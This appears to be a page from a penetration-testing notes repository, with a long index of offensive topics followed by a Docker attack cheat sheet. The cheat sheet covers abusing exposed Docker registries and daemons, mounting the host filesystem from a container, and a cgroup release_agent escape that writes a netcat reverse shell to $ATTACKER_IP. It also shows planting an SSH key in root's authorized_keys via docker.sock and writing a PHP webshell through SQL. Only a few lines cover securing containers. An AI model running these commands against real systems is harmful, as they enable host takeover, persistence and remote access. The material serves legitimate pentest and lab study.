Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- Docker Vulnerabilities
  - Abusing Registry
    - Enumeration
  - Reversing Docker Images
  - Uploading Images to Registry
  - RCE via Exposed Docker Daemon
  - Escape Container via Exposed Docker Daemon
  - Shared Namespaces
  - Misconfiguration
  - Check fdisk
  - Creating a Container from inside another container
  - Escape through DB
  - Dirty c0w
  - runC
  - Securing a Container
  - Checking if you are inside a container

# Docker Vulnerabilities

- Container enumeration

## Abusing Registry

- Registry Doc
- Registry is a json API endpoint
- Private registry added in `/etc/docker/daemon.json`
- Can be found by nmap as a service

### Enumeration

- General query

    curl http://test.com:5000/v2/_catalog`

- List tags

    curl http://test.com:5000/v2/<REPO>/<APP>/tags/list

- `history` section of the json object contains commands executed at build phase. May contain sensitive data like passwords.

    curl http://test.com:5000/v2/<REPO>/<APP>/manifest/<TAG>

## Reversing Docker Images

- Dive

    dive <IMAGE-ID>

## Uploading Images to Registry

- Ever image has a `latest` tag
- Upload modified docker image as `latest`
- Article

## RCE via Exposed Docker Daemon

- Users inside the `docker` group may open tcp socket through docker
- `nmap -sV -p- <IP> -vv` to find exposed tcp sockets via docker
- Confirming via `curl http://test.com:2375/version` on open docker port

- Execute commands on socket `sh docker -H tcp://test.com:2375 ps docker -H tcp://test.com:2375 exec <container> <cmd> docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh`

- root please

## Escape Container via Exposed Docker Daemon

- Looking for exposed docker sockets

    find / -name "*sock"
    groups

- Mount the host volume and chroot to it, need alpine image.

    docker images
    docker run -v /:/mnt --rm -it alpine chroot /mnt sh

or

    docker run -v /:/host --rm -it <imageID> chroot /host/ bash

## Shared Namespaces

- Namespaces
- Cgroups

- OverlayFS

- Requires root inside the container

- Execute command

    nsenter --target 1 --mount sh

## Misconfiguration

- Privileged container connect to the host directly, not through the docker engine
- Execution of bins on the host from libs inside the container is possible

    capsh --print

- `man capabilities`

- PoC

- Exploit and get a reverse shell to the host via

    mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
    echo 1 > /tmp/cgrp/x/notify_on_release
    host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
    echo "$host_path/exploit" > /tmp/cgrp/release_agent
    echo '#!/bin/sh' > /exploit
    echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f" >> /exploit
    chmod a+x /exploit
    sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

- The file may appear outside the container on the host system

## Check fdisk

- `fdisk -l` and `lsblk`, host bulk device may be exposed
- Mount the device

    mkdir /mnt/hostdev
    mount /dev/<hostVda> /mnt/hostdev

- Check `/dev` as well !!! and mount device

## Creating a Container from inside another container

- Needs root inside a container
- Upload static curl
- Check available images and containers

    curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
    curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json

- Inside the container as root

    curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'

- Return value is the ID
- Start a container

    curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start

- Login in to the host via ssh remotely or socat locally

    socat - UNIX-CONNECT:/var/run/docker.sock
    POST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
    Host:
    Connection: Upgrade
    Upgrade: tcp

    HTTP/1.1 101 UPGRADED
    Content-Type: application/vnd.docker.raw-stream
    Connection: Upgrade
    Upgrade: tcp

## Escape through DB

- Login into DB
- Create table
- Inject PHP code
- Select table content intoa file the user can read
- Execute the file

    create table h4x0r (pwn varchar(1024));
    insert into h4x0r (pwn) values ('<?php $cmd=$_GET[“cmd”];system($cmd);?>');
    select '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';

- curl the webshell hon the exploited host

    curl <host-IP>/shell.php?cmd=id

## Dirty c0w

https://github.com/dirtycow/dirtycow.github.io

## runC

CVE-2019-5736

## Securing a Container

- Least Privileges
- Seccomp
- Securing Registry via TLS

## Checking if you are inside a container

- Low process count

    ps aux

- `.dockerenv` in `/`

    cd / && ls -lah

- cgroups contain docker names

    pwd /proc/1
    cat cgroups